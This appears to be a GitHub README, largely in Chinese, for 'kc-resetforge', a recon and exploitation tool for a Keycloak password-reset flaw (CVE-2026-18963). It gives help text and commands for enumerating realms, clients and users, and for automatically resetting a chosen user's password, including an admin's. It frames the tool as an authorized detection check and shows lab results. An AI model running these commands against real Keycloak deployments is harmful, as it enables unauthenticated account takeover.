https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e
python3 kc-resetforge.py -h
usage: kc-resetforge.py [-h] [--target TARGET] [--targets-file TARGETS_FILE] [--port PORT] [--realm REALM]
[--client-id CLIENT_ID] [--username USERNAME] [--new-password NEW_PASSWORD] [--skip-enum]
[--enum-only] [--kc-version] [--kc-reset-link] [--corpus-dir CORPUS_DIR] [--label LABEL]
[--enum-realms] [--no-enum-realms] [--enum-clients] [--no-enum-clients] [--enum-users]
[--no-enum-users] [--realm-wordlist REALM_WORDLIST] [--client-wordlist CLIENT_WORDLIST]
[--user-wordlist USER_WORDLIST] [--enum-users-client-id ENUM_USERS_CLIENT_ID]
[--verify-login] [--no-verify-login] [--verify-client-id VERIFY_CLIENT_ID]
[--timeout TIMEOUT] [--request-delay REQUEST_DELAY] [--output-dir OUTPUT_DIR]
[--proxy PROXY] [-d] [-y] [--json-out JSON_OUT]
CVE-2026-18963 Keycloak 侦察 + 利用框架(仅限自有基础设施)
options:
-h, --help show this help message and exit
--target TARGET 单个目标:裸主机/IP、host:port 或完整的 http(s)://host[:port] URL。若省略协议和端口则自动检测(先尝试 https 再尝试 http;默认分别为 443/80)。
与 --targets-file 互斥。
--targets-file TARGETS_FILE
指向每行一个目标的文件路径,格式与 --target 相同(允许 '#' 注释)。依次对每个目标执行侦察+利用。
--port PORT 为 --target 覆盖端口(或作为 --targets-file 中未指定端口行的回退)。--targets-file 中每行指定的端口始终优先。
--realm REALM 要攻击的 realm。若省略,则从侦察结果中自动选择。
--client-id CLIENT_ID
要使用的 OIDC client_id。若省略,则从侦察结果中自动选择。
--username USERNAME 要攻击的用户名。若省略,则从侦察结果中自动选择。
--new-password NEW_PASSWORD
为目标用户设置的密码(默认:'Test123!')
--skip-enum 完全跳过侦察;--realm/--client-id/--username 变为必填。
--enum-only 仅运行侦察并打印结果,不尝试利用。
--kc-version 仅运行 Keycloak 版本侦察阶段(指纹识别 + 语料库匹配 + 补丁状态)后退出 - 完全跳过 realm/client/用户枚举和利用。同时适用于 --target 和 --targets-file。
--kc-reset-link 仅检查自助密码重置('Forgot Password?' / resetPasswordAllowed)流程是否暴露后退出 - 单个非破坏性 GET 请求,无需用户名。除非显式给出 --realm/--client-id,否则通过轻量级 realm+client 侦察自动发现。跳过利用。同时适用于 --target 和 --targets-file。
--corpus-dir CORPUS_DIR
已知版本指纹目录,用于精确版本匹配(默认:kc_version_corpus)。
--label LABEL 将当前目标的指纹以该版本标签保存到语料库中,而不是匹配未知版本。用于已知版本的实例。
--enum-realms 枚举 realm 名称(默认:侦察期间开启)。
--no-enum-realms
--enum-clients 枚举每个 realm 的 client ID(默认:侦察期间开启)。
--no-enum-clients
--enum-users 枚举每个 realm 的用户名(默认:侦察期间开启)。
--no-enum-users
--realm-wordlist REALM_WORDLIST
--client-wordlist CLIENT_WORDLIST
--user-wordlist USER_WORDLIST
--enum-users-client-id ENUM_USERS_CLIENT_ID
用于用户名枚举 direct-grant 探测的客户端(默认:admin-cli)。
--verify-login 密码更改后,通过 password-grant 令牌请求确认新凭据(默认:开启)。
--no-verify-login
--verify-client-id VERIFY_CLIENT_ID
用于验证 password grant 的客户端。
--timeout TIMEOUT
--request-delay REQUEST_DELAY
利用链中每个请求前等待的秒数(默认:0.4)。Keycloak 的登录流程状态在重置/重启/选择器重放步骤之间可能对时序敏感;较小的延迟可使链更可靠。0 表示禁用。
--output-dir OUTPUT_DIR
--proxy PROXY 通过 HTTP(S) 代理路由:'burp'(127.0.0.1:8080 简写)、裸 host:port 或完整的 http(s):// URL。
-d, --debug 请求/响应/枚举探测的详细调试日志
-y, --yes 跳过 'Continue with this target?' 提示。非交互式使用(脚本、多目标 --targets-file、CI)必需。
--json-out JSON_OUT 将侦察+利用结果的 JSON 报告写入该路径。
kc-resetforge — CVE-2026-18963 Keycloak 侦察 + 利用工具(仅限自有基础设施)
Usage
-----
全自动(侦察 -> 自动选择目标 -> 利用 -> 验证):
python3 kc-resetforge.py --target https://localhost:9990 --proxy burp -d
仅侦察:
python3 kc-resetforge.py --target https://localhost:9990 --enum-only -d
仅版本 + 补丁状态检查,跨多主机:
python3 kc-resetforge.py --targets-file targets.txt --kc-version
跳过侦察,直接攻击:
python3 kc-resetforge.py --target https://localhost:9990 --realm master \
--client-id account --username admin --skip-enum
依赖:requests、beautifulsoup4,可选 rich(pip install --break-system-packages)
26.7.226.4.15-1 / 镜像 26.4-2326.6.6-1 / 镜像 26.6-12kc-resetforge 是一个检测/验证工具。它用于确认目标的 reset-credentials 流程是否正确执行了 action-token 前提条件(已修补)或未执行(存在漏洞),适用于授权评估。下方链接的文章以适合公开披露的深度介绍了该机制和复现方法。
完整分析:Forging kc-resetforge: Turning CVE-2026-18963 Into a Repeatable Check
kc-resetforge.py 无法询问 Keycloak"你是什么版本?",因为没有预认证端点能回答这个问题。相反,它对目标进行指纹识别(响应字段、静态资产哈希、favicon),并将其与您已用已知版本标记的语料库进行比较。该指纹没有语料库条目 = 无法确定精确版本,这是设计使然,不是 bug。
为您有权访问的每个版本构建一次语料库:
python3 kc-resetforge.py --target https://known-26.6.2-host --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://known-26.7.2-host --kc-version --label 26.7.2
[snip]
我的实验室:
python3 kc-resetforge.py --target https://localhost:9990 --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://localhost:9991 --kc-version --label 26.6.3
python3 kc-resetforge.py --target https://localhost:9992 --kc-version --label 26.6.4
python3 kc-resetforge.py --target https://localhost:9993 --kc-version --label 26.7.0
python3 kc-resetforge.py --target https://localhost:9994 --kc-version --label 26.7.1
python3 kc-resetforge.py --target https://localhost:9995 --kc-version --label 26.7.2
侦察:
python3 kc-resetforge.py --targets-file targets.txt --kc-version --kc-reset-link --proxy 127.0.0.1:8080
[snip]
[*] Proxying through: http://127.0.0.1:8080
[+] Run Summary
Targets scanned
┏━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━┓
┃Target ┃ Keycloak Version ┃ Patch ┃ Reset Link ┃ Result ┃
┡━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━┩
│https://localhost:9990 │ 26.6.2 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9991 │ 26.6.3 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9992 │ 26.6.4 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9993 │ 26.7.0 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9994 │ 26.7.1 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9995 │ 26.7.2 │ PATCHED │ ENABLED │ checked│
└───────────────────────┴──────────────────┴────────────┴────────────┴────────┘
条目保存在脚本旁边的 kc_version_corpus/ 目录中,因此无论您从哪个目录运行该工具,它们都会持久存在,请勿删除该文件夹。
查看语料库内容:
ls kc_version_corpus/
标记完成后,每次未来的扫描都会自动与之匹配:
python3 kc-resetforge.py --target https://target --kc-version
python3 kc-resetforge.py --targets-file targets.txt --kc-version
本项目严格仅用于:
请勿对任何您不拥有或未经明确书面授权测试的系统运行此工具。对第三方基础设施的未经授权使用是非法的,且超出本项目的预期用途。维护者不对滥用承担任何责任。
| 字段 | 值 |
|---|
| CVE | CVE-2026-18963 |
| 严重性 | 严重 |
| CVSS | 9.1 |
| CWE | CWE-640(弱密码恢复机制) |
| 组件 | Keycloak — reset-credentials 认证流程 |
| 影响 | 未认证、零交互账户接管(包括管理员账户) |
| 修复版本 | Keycloak 26.7.2(上游)/ RHBK 26.4.15-1、26.6.6-1 |